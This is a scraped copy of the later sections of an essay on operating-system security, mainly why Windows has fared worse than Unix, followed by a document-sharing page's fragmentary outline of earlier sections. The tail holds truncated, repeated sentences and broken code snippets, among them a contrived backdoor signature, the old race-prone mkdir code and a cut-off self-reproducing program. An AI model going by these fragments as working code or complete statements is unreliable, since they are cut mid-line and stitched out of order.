Various incarnations of Microsoft Windows could be classified as follows:
NT-based: Versions and specializations (such as client or server) of Windows NT, Windows
2000, Windows XP.
Windows 95-based: Windows 95, Windows 98, Windows ME.
Earlier: Windows 3.x and earlier.
Perhaps the most palpable failure Microsoft had with an operating system (or related effort)
was with the "Bob" user-interface product for Windows 3.x.
We use the term "Windows" only to refer to NT-based systems. We use the term "Unix" in a
collective sense to refer to Unix, Unix-derived, and Unix-like systems.
The "Official" Security of Windows
"Windows XP: The Rock of Reliability."
- Microsoft
As we saw in Defining Computer Security, NT-based Windows systems are classified at C2

(Orange Book) or EAL 4+ (Common Criteria) levels — the highest among existing general
purpose operating systems. In fact, Windows even meets a few requirements of the next more
secure division (Orange Book B2), such as the provision of separate roles for separate
administrative functions (trusted facilities management), and the Ctrl+Alt+Delete Secure
Action Sequence (SAS). Thus, Windows officially meets critical security-related requirements of
most businesses and government agencies.
SAS
On a Windows system, the Winlogon service responds to the SAS, a sequence of keystrokes
that begins the logon or logoff process. The default SAS is Ctrl+Alt+Delete. A dynamically
linked library (DLL) called GINA (for Graphical Identification 'n' Authentication), implemented in
msgina.dll gathers and marshals information provided by the user and sends it to the Local
Security Authority (LSA) for verification.
GINA is replaceable, say, if you want to use an alternate authentication mechanism, such as a
Smart Card.
The SAS provides a level of protection against Trojan horse login prompts, but not against
driver level attacks.
As we have seen in various sections earlier, the types of inflictions normally associated with
Windows (such as worms, viruses, Trojan horses, and so on) existed before Windows did, and
are not technically limited to Windows.
Points to Ponder
There are several points to consider — intertwined, and often subtly related — in our attempts
to understand Windows' situation.
History
Consider some historical aspects of Microsoft's pre-NT platforms:
They originated as single-user systems, with hardly any protection or access control
mechanisms. Even file permissions made a rather late entry in Microsoft's platforms.
They historically relied on filename extensions, particularly for executability.
They historically did not have the concept of a super-user, wherein a set of (potentially
dangerous) operations are not allowed without explicit authentication, etc.
They were the de-facto platforms available to the "general public" (including the "malicious
public") for a long time, before Unix systems became widely accessible.
Now, Windows NT was based on a new design, focusing on numerous modern features,
portability, reliability, and security. The resounding success of Windows 3.x was instrumental in
Microsoft shifting its focus regarding many such goals, and putting the greatest emphasis on
native backwards compatibility. Similarly, the graphical user-interface of Windows 95 was
considered a critical feature to be passed on to NT-based systems.
Consider the following two "big transitions": from the Windows 95 to the NT family (Microsoft),
and from Mac OS 9.x to Mac OS X.
Microsoft
Microsoft used Virtual DOS Machines (VDMs) to run MS-DOS applications under Windows NT. A
VDM is a virtual MS-DOS system that runs on a virtual x86 computer. For 16-bit Windows
applications, Microsoft used an environment called Windows on Win32 (WOW) — essentially a
multi-threaded VDM. Thus, backwards compatibility with MS-DOS and 16-bit Windows was
achieved via virtual machines.
However, for compatibility between 95- and NT-based systems, Microsoft chose the native
route, with applications from the old family running on the new family courtesy backwards
binary compatibility.
Apple
Apple used the Classic virtual environment for binary compatibility, as well as Carbon, an
overhaul of the "classic" Mac OS APIs — pruned, extended, and modified to run in the more
modern Mac OS X environment. Carbon provided source-level compatibility, with a Carbon
application running native both under Mac OS 9 and Mac OS X.
Difference
Apple's eschewing of legacy/backwards compatibility in Mac OS X was fairly rapid, and had
different logistics (considerably smaller and unique user-base).
In comparison, Microsoft had a considerably harder task at hand. Note that the 95 family was
extremely inferior to the NT family from a security standpoint. Due to this, and various other
reasons, the Win32 API implementation would be very different on these two.
Thus, an application from a 95 family system (single-user, weak access control, little to no
security) ran on an NT family system (multi-user, strong access control, much greater security)
— without any changes to the application itself. Ensuring that application-level security is
maintained on the newer system in doing so is a difficult task.
That said, Microsoft's transition was distributed over several more years than Apple's
(considering Windows NT 3.1 was released to manufacturing in mid-1993). Apple's switch,
being rather abrupt, does have its own set of problems. The security "philosophy" of the Mac
platform, and of the Mac community, is immature yet. While Mac OS X has a good amount of
circumstantial immunity against malware, it is significantly lacking in its security paraphernalia
as compared to the cutting edge feature-set found in its competitors. The difference is more
stark on the server side, where the competition is stiffer.
Philosophy
It is one thing to come up with a modern, or great design. However, design alone, and even its
subsequent implementation, do not magically change real-life scenarios. What about the mind-
set of the users? What about the philosophy associated with the platform? An extensive array
of security functions in a system is quite ineffective if the system mostly operates in a context
where these functions are not used properly, or maybe even are bypassed entirely. While the
presence of such mechanisms, and their correct functioning in an evaluative setting would win
security ratings, real-life introduces numerous weakening factors: historical, contextual, and
even imaginary.
"Security" is hard to formalize, hard to design (and design for), hard to implement, hard to
verify, hard to configure, and hard to use. It is particularly hard to use on a platform such as
Windows, which is evolving, security-wise, along with its representative user-base.
The primary environment in which a typical Windows system exists has traditionally been
hostile, especially after the advent of the Internet. While Unix systems share the same
environment today, their traditional environments were comparatively trusted: research labs
and universities. Similarly, Unix users have had backgrounds differing from Windows users.
We stated earlier that UNIX was not even designed with security in mind. Several technologies
that originated on Unix, such as NFS and the X Window System, were woefully inadequate in
their security.
One could argue that security is often absorbed (or retrofitted) into Unix with less effort than
Windows, and more importantly, it is put into use faster, owing to both Unix's developer-
base(s) and user-base(s). Enumerating reasons for this particular statement is beyond the
scope of this document, but it would involve hackers (in the good sense), computer science
research, Open Source, no single product representing Unix, etc.
User-f(r)iendliness
Windows has more execution environments than typical Unix systems, for macro-processing,
email attachment processing, and so on. A related point is that Windows tries to implicitly do
things for the user. Consequently, there are more situations for code (such as code embedded
in a document) to be executed, often without the user being asked proactively.
As non-Windows systems, perhaps in their evolution to being "mainstream", perform more

operations on the user's behalf (an aspect considered by many to be a facet of user-
friendliness), operational and situational differences might not remain as pronounced. The
recent spate of "URI-related security flaws" in Mac OS X (KDE shared some of the same
problems) was an example of "bad things happening when the system does things for you". A
more detailed description of this issue can be found in URL-based Security Holes in Mac OS X.
Another example is that of the sudo command on Mac OS X. When you do a successful sudo
as the super-user, the default system behavior is to not ask for the super-user password for 5
minutes. If you inadvertently execute, say, a shell script that does sudo and something
malicious, you would have a problem. For example, a virus could spread this way.
In many situations, security could be "improved" simply by "turning things off." This especially
applies to network services. Many Unix systems, particularly recent ones, emphasize on
security by default: services are turned off out-of-the-box. In many cases, the user would not
require most of these services, so any vulnerabilities in the corresponding daemons would be
inapplicable to such a system.
Windows (again, possibly driven by the "less work for the end-user" tenet) has traditionally
shipped with various services enabled by default. Such services increase the attack surface of
Windows.
Windows XP Service Pack 2
The upcoming Windows XP Service Pack 2 would introduce a wide variety of security
improvements in the areas of networking, memory (including preventing data execution),
email handling, web browsing, and some miscellaneous areas. Among these are changes to
turn certain services off by default, and turn some others on (such as the Windows Firewall) by
default.
Security and Ease of Use
I earlier said that a common, although not necessary, side-effect of enhancing a system's
security is that it becomes harder to program, and harder to use. Security related steps that
are required to be performed by end-users must be easy to understand, and easy to use. If
not, users may bypass, even altogether, steps that are especially frustrating.
Windows is supposed to be an easy-to-use platform, while Unix is supposed to be cryptic and

hard-to-use. Historically, an average Unix user has been an academician, researcher, or
somebody who is either proficient in, or is willing to spend time and energy figuring out details
of a computer system. In contrast, an average Windows user wants things to "just work", and
is not so much interested in the inner workings of the system. This is in conformance with the
purported philosophies of the two systems. With time, Unix and Windows have both become
less extreme, with an average Windows user being more aware of (and interested in) the
system, while not all Unix users want to dissect their systems anymore.
Now, configuring and using security can be extremely difficult on Windows. This is not to say
that security is easy on Unix. However, consider that the barrier of entry to using Unix is such
that if somebody is using Unix primarily, chances are that he would be able to manage his
system reasonably (owing to his interest in the system itself, his willingness or ability to read
and understand man pages and HOWTOs, etc.) Compare this with Windows. There are too
many "knobs." The exposed interfaces are either too complicated, even with documentation, or
too weak and limited. Security on Windows is hard to configure correctly (try setting up
IPSEC). As such, expecting an average Windows user to administer his Windows machine
competently is an unfair expectation. Thus, we have a detrimental interplay of the platform's
philosophy and qualities with its representative user-base.
On a related note, attackers have a better chance of succeeding against an average Windows
user. Who do you think is more likely to innocently open a malicious email attachment: the
average Windows user, or the average Unix user (the latter probably might not even have an
appropriate application to handle the attachment).
Market Share
Microsoft's market-share is perhaps the most obvious, and the most controversial point raised
when discussing Windows vs. Unix, malware-wise. Windows has over 95% of the desktop
market-share, though the server market is far less lopsided.
Microsoft's success, as reflected in their incredible market share, amplifies their security
problems.
The number of people using Microsoft software (Windows has over 95% of the desktop
market share).
The number of 3rd party developers creating commercial software for Microsoft platforms.
The pressure on Microsoft's developers to write new software, add features, fix bugs,
ensure legacy compatibility, and so on.
A potentially relevant issue is the phenomenal amount of resentment against Microsoft and
Microsoft products that is seen in many circles.
Implementation Issues
While we have emphasized on the fact that technical differences alone do not account for
Windows' security situation, software quality (or its paucity) is a problem in Windows, although
it is not as extreme as it is often portrayed to be (such as, "Windows is poorly written.
Period.")
Consider some randomly chosen examples:
Microsoft seems to have a rather large number of flaws in software that is critical (because
of the software's role in the system, or because it is widely used). Examples include Internet
Explorer and IIS.
In a typical usage scenario of a Windows machine, the user has too much power, which, in
turn, gives too much power to any and all applications running on behalf of the user.
By some accounts, there are approximately 35,000 (perhaps more) Windows device
drivers. Many of these are based on a driver model that is a decade old. While it is not common
for drivers to have security holes per-se, they are active contributors to system instability. In
many cases though, it would be unfair to blame Microsoft, or even Windows, for a buggy 3rd
party driver.
When people talk of the security of an "operating system", they are invariably talking of the
entire environment comprised of the kernel, applications, and everything else in user-space.
This is indeed the correct interpretation. However, it is possible, and is ostensibly the case with
Windows, that while the core operating system (especially the kernel) is well-designed, the
overall system behaves poorly with respect to security. This is why Windows can have a high
security rating with the impressive array of security mechanisms present, but it also sets
dubious records in insecurity with these mechanisms being often rendered ineffective in real-
life.
Late for (Net)work?
A well-publicized Microsoft oversight is their undermining of the Internet initially. Once

Microsoft realized that they had been late in climbing on the Internet bandwagon, they
attached paramount importance to coming up with a web browser, a web server, and related
technology. In comparison, Unix had networking much earlier.
Now, it is one thing to incorporate networking into a system. It's another to do so as quickly as
possible, make existing applications benefit from networking support, and maintain high
standards for software quality and security — in a highly-competitive arena that inexorably
demands quick-to-market (for example, Netscape was a major threat to Microsoft at one
point). Perhaps the questionable implementation of some core network-related components in
Windows, as indicated by the raw number of reported flaws in them, could be attributed to this
apparent rush.
Is Popularity Really An Issue?
Regarding the relation between the success (popularity) of Windows and the amount of
malware for it, a few points are frequently raised:
If "abundance" is conducive to mischief, why aren't there viruses, worms, or other digital
pestilence on Unix servers? After all, Unix fares much better in the server market. Moreover, a
large part of the Internet's infrastructure (web servers, domain name servers, SMTP servers,
etc.) runs on Unix, so attackers should have sufficient motivation.
As Unix becomes more popular (and continues to gain market-share), would malware
become commonplace on Unix? Those staunchly favoring Unix brush this off, claiming that Unix
precludes such mischief (often cited reasons include "by design", "due to user-base", "due to
several major systems and components being open source", etc.) Others point out that as Unix
systems are trying to be "more like Windows" (see above), one can already see more mischief
happening on Unix.
Since it is easy to write a virus on Unix, and since there exist enough privilege-granting
vulnerabilities on Unix ("root exploits"), why haven't we seen software epidemics like we see
on Windows? Will we, in the near future?
Well, the issue is perhaps too subjective to address satisfactorily, but one must realize that
even though Windows malware might use bleeding-edge flaws (that may be discovered on a
daily-basis), the apparent marriage of malware to Windows is not a new thing, and it did not
happen overnight. For close to thirty years, PC (DOS and Windows) viruses have thrived: there
is a long-standing viral infrastructure, both real and philosophical, in place.
End-users often play a critical role in spreading malware. As mobile users travel, so does the
malware on their laptop computers. A naturally vulnerable end-user does not use a server, if at
all, the same way as he does a client computer (for example, downloading and using random
software). Moreover, servers are better monitored and protected. Due to these, and related
factors, servers often have a higher natural immunity against malware. Exceptions happen
when a vulnerability is discovered in a widely-deployed server (the Morris Worm, various IIS
flaws). In such cases, servers can act as very effective attack-portals.
The key to arriving at an "answer" to the "Why" question (whether it be about the insecurity of
Windows or the security of Unix) is to consider all that we have discussed as a whole, rather
than attempting to discount individual points. The situation as it exists today really is a result
of complex technical and non-technical interactions over a long period of time.
Abundance and Homogeneity
Now, it is perfectly feasible, technically and otherwise, for malware to breed on Unix, say, if
Unix becomes more popular. However, why does it have to happen, simply because it can?
Perhaps it will, perhaps not. While Windows has the misfortune of having decades of malicious
momentum, Unix might have the advantage of having decades of inactivity in this area: no
rampant viral activity (even if technically feasible), no existing momentum, no traditionally
tarnished image, elitism (and snobbery against Windows), and in general, inertia.
There are other factors in favor of Unix.
If you were to enumerate what constitutes "Windows" today, you would get a handful of
systems providing essentially the same execution environment. "The" Windows environment is
abundant and homogeneous.
Recall that we defined "Unix" to be a family of systems. If you were to enumerate what
constitutes "Unix" today, you would get maddening diversity: in architectures, interfaces,
flavors, distributions, and many more. Even apparently similar Unix systems, such as two Linux
distributions, might be different enough to warrant considerable extra "work", if an attacker
were to create (the easy part) and deploy (the hard part), say, a virus. Creating malware, as
we have seen, is a technical problem, easily solved on any platform. Spreading malware
involves operational and situational issues, which are apparently less of an obstacle on
Windows than any other platform.
Epilogue
Realistically speaking, aberration in behavior is inescapable for almost any entity capable of
"behaving". Software misbehavior is an inherent aspect of the stored-program concept, and
indeed, computer systems are particularly prone to misbehaving, whether they are based on
Unix, Windows, or others.
Which is the most secure platform?

An objective answer to this question could be found by looking at official security ratings.
However, such a "most secure" platform would usually not be an everyday platform. Amongst
everyday, general-purpose platforms, Windows NT based systems have some of the highest
ratings. Thus, one of the officially most secure platforms apparently has the most security
problems!
While Windows provides several powerful and flexible security mechanisms, using which
effective security policies could be implemented, it is most commonly used in a security-
retarding context. Windows systems have so far had relatively less secure default installations.
It is not easy to configure security on Windows.
Perhaps a better question would be to ask which platform is the most secure amongst those
that you can use (depending on your beliefs, needs, preferences, monetary considerations,
available hardware, etc.) However, choosing a platform entirely based on its security
capabilities might not be applicable in every situation. So, the answer is highly context-
dependent, and largely up to you.
From an academic standpoint, the really interesting "security" to pursue is that of "an"
operating system, rather than that of a particular one. Moreover, it is sometimes useful to look
at the security issue from the opposite direction: instead of "adding" security, how about
"removing" insecurity?
The security status of some general-purpose operating systems could be summed up as follows
(please refer to previous sections for a more detailed discussion):
Linux: Very good, but not necessarily out-of-the-box (there are too many "boxes"
anyway). Most security-related academic research seems to be happening with Linux as the
underlying platform. Linux has the attention of big corporations and government agencies.
However, there are too many choices for ways to harden Linux. It's the most comprehensive
and glorified parts-bin in the Universe.
OpenBSD: Very good. OpenBSD has proactive emphasis on security, and is widely
identified as such.
Mac OS X: Reasonable. Important additions and improvements needed — perhaps critically
— particularly on the server side.
Solaris: Very good. Sun is generally good about security, and Solaris 10 has numerous
relevant and useful features. On the flip side, Sun has bigger non-technical (and non-Solaris)
problems.
Windows: Well. Windows XP Service Pack 2 has the potential to improve things
considerably in the near future. Longhorn would hopefully repaint Microsoft's image if they do a
good job. Perhaps Microsoft could create a brand-new operating system effort, with little
explicit focus on backwards compatibility — they could afford to.
Why?
Ingenuity and technical acumen combine with overpowering negativity (cynicism, egotism, a
will to destroy), causing digital sadism and digital mercenariness. Many underlying reasons for
digital crime would be similar to those behind "regular" crimes.
In his 1984 Turing Award lecture, Ken Thompson summed the situation up in a way that is
unequivocal until today:
"There is an explosive situation brewing. On the one hand, the press, television, and movies
make heroes of vandals by calling them whiz kids. On the other hand, the acts performed by
these kids will soon be punishable by years in prison. I have watched kids testifying before
Congress. It is clear that they are completely unaware of the seriousness of their acts. There is
obviously a cultural gap. The act of breaking into a computer system has to have the same
social stigma as breaking into a neighbor's house. It should not matter that the neighbor's door
is unlocked. The press must learn that misguided use of a computer is no more amazing than
drunk driving of an automobile."
Must Defend
Glamour aside, security as a mainstream field is here to stay. It is a lucrative field too, from
both academic and business standpoints.
The Market Opportunity
Aspects of security (its comprehension, research, implementation, and in particular, its

perception) are harder to deal with than those of an underlying operating system, the latter
being more deterministic. Due to this, and popular notions about security, the field is hotter
than ever: whether you want to do research in the area, or you want to create a "security
company".
Computer security is sometimes regarded as a service, and as an entity that can be retrofitted
into existing systems. Since you cannot re-design existing systems frequently, retrofitting is
usually the only viable solution anyway. Security companies far outnumber OS companies, and
perhaps security experts outnumber OS experts. Security is an extremely saleable entity too.
The proliferation of computing and the success of the Internet have greatly amplified the
criticality of computer security, making it a very lucrative market.
A Social Experiment
A honeypot is a system that pretends to be vulnerable, so as to attract attackers. The goal is to
learn about the attackers' techniques, behavior, etc.
Quite differently from a honeypot, suppose you take a computer system connected to the
Internet, and protect it such that it needs human interaction to log in (so that malicious
software cannot automatically take it over). Now, you advertise the super-user password (or
whatever else is needed to log in with all privileges) to the world, but request that this machine
not be tampered with. However, you qualify that there are no legal implications whatsoever if
somebody does log in, or even destroys the system.
How long would it be before somebody logs in? How long would it be before somebody wipes
the system out?

A Taste of Computer Security

Uploaded by

Document Information

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

A Taste of Computer Security

Uploaded by

Copyright:

Available Formats

A Taste of Computer Security

Popular Notions About Security

 Protection against a grab-bag of "exploits" (thus, countable and finite)

 A grab-bag of "exploits" (thus, countable and finite)

It is important, even if academically, to understand this "clarification". Often, many a battle is

Security and "Hacking"

Ken Thompson, a creator of UNIX, aptly said in 1984 that:

Defining Computer Security

 Verify identities of entities such as users and system services.

A definition of security could be reinforced by describing the absence of security, which we

 Leaking (reading, say) of sensitive data

With rapidly increasing deployments of security-related software, it becomes important for

A system is secure in a given time interval t if

Tsecure(t) > Sum{Tdetect, i + Treact, i}

The Orange Book

o C1: Discretionary Security Protection (products are no longer evaluated at this

• EAL 0: Inadequate Assurance (D)

Examples of some CC ratings are as follows:

Traditional Unix Security

The UNIX Time-Sharing System (1974)

NAME su -- become privileged user

DESCRIPTION su allows one to become the super-user, who has

all sorts of marvelous powers. In order for su

to do its magic, the user must pass as an argu-

ment a password. If the password is correct, su

will execute the shell with the UID set to that

of the super-user. To restore normal UID

privileges, type an end-of-file to the super-user

01 write for non-owner

04 write for owner

10 read for owner

0 drwxrwxrwt 21 root wheel 714 26 Jan 00:00 /tmp

 real uid (the process owner's uid)

Security Uprooting Vehicles

Although Neumann used discrete models for self-reproduction, he intended to develop a

A not-so-distinct category of digital creatures that is mentioned in literature, albeit rarely, is

Some Other Manifestations and Causes of Insecurity

 Introduction of a deliberate error in a program, say, by a disgruntled employee, that will

A backdoor opens a system for access by an external entity: by overthrowing, or bypassing,

Backdoors may exist for various reasons:

 Explicitly programmed by the creators of the system, perhaps even as an undocumented

Consider some specific, somewhat contrived, examples of backdoors:

foo_open(dev_t *dev, int openflags, int otyp, cred_t *foo)

/* use ddi_get_soft_state or something */

Sometimes, an information channel might be used to transfer certain information, possibly

Race-conditions are flaws, either in design or implementation, that involve an attacker

char pname[128], dname[128];

for(i = 0; d[i]; ++i)

fprintf(stderr,"mkdir: cannot access %s\n", pname);

if ((mknod(d, 040777, 0)) < 0) {

fprintf(stderr,"mkdir: cannot make directory %s\n", d);

chown(d, getuid(), getgid());

if((link(d, dname)) < 0) {

fprintf(stderr, "mkdir: cannot link %s\n", dname);

if((link(pname, dname)) < 0) {

fprintf(stderr, "mkdir: cannot link %s\n",dname);

Address Space Attacks

File Vault on Mac OS X

However, the issue is not limited to securing an encrypted filesystem password. An

Design Flaws, Oversights, and "This is just how things are"

Finally, social engineering, a strategic methodology of convincing people to divulge sensitive

The Net Growth In Insecurity

Growth of the Internet (and Insecurity)

Mar 1977 111 - -

Protection against a grab-bag of "exploits" (thus, countable and finite)

A grab-bag of "exploits" (thus, countable and finite)

Verify identities of entities such as users and system services.

Leaking (reading, say) of sensitive data

real uid (the process owner's uid)

Introduction of a deliberate error in a program, say, by a disgruntled employee, that will

Explicitly programmed by the creators of the system, perhaps even as an undocumented

foo_open(dev_t dev, int openflags, int otyp, cred_t foo)

Randomize the order of variables and subroutines.

A virus attacks specific file types (or files).

main(){int i;char k;char a[]="main(){int i;char k;